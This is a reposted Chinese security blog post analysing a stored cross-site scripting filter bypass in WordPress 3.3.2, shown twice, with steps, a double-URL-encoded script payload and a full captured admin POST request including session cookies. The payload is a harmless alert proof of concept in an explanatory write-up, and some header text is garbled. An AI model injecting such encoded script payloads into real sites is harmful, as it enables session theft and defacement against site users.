WordPress 3.3.2鸡肋存储型跨站漏洞的分析
网络安全 2021-07-03 10:02www.168986.cn网络安全知识
WordPress最新版本3.3.2存在一个双字节编码的存储型跨站漏洞，可以bypass内置的filter机制，利用起来有点鸡肋，细节如下
1登录管理账户
2单击分类
3填写跨站参数，并用burp suite拦截请求
4输入%253cscript%253ealert%25281%2529%253c%252fscript%253e可以直接bypass。
BURP请求数据包
POST /wordpress/wp-admin/edit-tags.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:11.0) Gecko/20100101 Firefox/11.0
Aept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Aept-Language: en-us,en;q=0.5
Aept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer:
https://.jb51. /wordpress/wp-admin/edit-tags.php?action=edit&taxonomy=link_category&tag_ID=2&post_type=post
Cookie:
wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1335544051%7C197b22093eaefaf6950bd81d6aa6372b;
wp-settings-time-1=1335371272; wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1335544051%7C6ebcb9d0104a37c6d7a91274ac94c6cb
Content-Type: application/x--form-urlencoded
Content-Length: 379
action=editedtag&tag_ID=2&taxonomy=link_category&_wp_original_http_referer=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dlink_category&_wpnonce=83974d7f8f&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fedit-tags.php%3Faction%3Dedit%26taxonomy%3Dlink_category%26tag_ID%3D2%26post_type%3Dpost&name=Blogroll&slug=injecthere%253cscript%253ealert%25281%2529%253c%252fscript%253e&description=sectest&submit=Update
长沙网络推广鸡肋，鸡肋中的鸡肋，minminmsn同学应该是翻译自国外的文章，没有经过详细的测试，wordpress默认的filter机制对管理员权限是不过滤的，所以不仅仅在分类里存在跨站，其他地方更是跨站多多。也许有其他的猥琐的用途吧。
作者freebuf
1登录管理账户
2单击分类
3填写跨站参数，并用burp suite拦截请求
4输入%253cscript%253ealert%25281%2529%253c%252fscript%253e可以直接bypass。
BURP请求数据包
复制代码
代码如下:POST /wordpress/wp-admin/edit-tags.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:11.0) Gecko/20100101 Firefox/11.0
Aept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Aept-Language: en-us,en;q=0.5
Aept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer:
https://.jb51. /wordpress/wp-admin/edit-tags.php?action=edit&taxonomy=link_category&tag_ID=2&post_type=post
Cookie:
wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1335544051%7C197b22093eaefaf6950bd81d6aa6372b;
wp-settings-time-1=1335371272; wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1335544051%7C6ebcb9d0104a37c6d7a91274ac94c6cb
Content-Type: application/x--form-urlencoded
Content-Length: 379
action=editedtag&tag_ID=2&taxonomy=link_category&_wp_original_http_referer=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dlink_category&_wpnonce=83974d7f8f&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fedit-tags.php%3Faction%3Dedit%26taxonomy%3Dlink_category%26tag_ID%3D2%26post_type%3Dpost&name=Blogroll&slug=injecthere%253cscript%253ealert%25281%2529%253c%252fscript%253e&description=sectest&submit=Update
长沙网络推广鸡肋，鸡肋中的鸡肋，minminmsn同学应该是翻译自国外的文章，没有经过详细的测试，wordpress默认的filter机制对管理员权限是不过滤的，所以不仅仅在分类里存在跨站，其他地方更是跨站多多。也许有其他的猥琐的用途吧。
作者freebuf
网络安全培训
- 网络安全带来的危害 网络安全的弊处
- 如何加强网络安全防范
- 网络安全防护知识内容摘要
- 什么网络安全指的是什么 网络安全指的是什么意
- 网络安全十大公司排名 网络安全十大公司排名绿
- 手机网络安全警示格言 手机网络安全警示教育片
- 网络安全培训心得体会 网络安全知识培训
- 如何树立正确的网络意识 怎么样正确对待网络
- 网络安全大赛是什么意思 网络安全大赛比赛规则
- 世界网络安全公司排名 世界十大网络安全上市公
- 网络安全注意事项知识 网络安全注意事项知识短
- 网络安全常识十条口诀 小学生安全十句话
- 网络安全等级保护三级 网络安全三级等保标准
- 如何增强网络安全防范意识 如何增强网络安全防
- 网络安全注意事项有哪些 网络安全应注意事项
- 网络安全培训感悟 网络安全培训后的收获和感想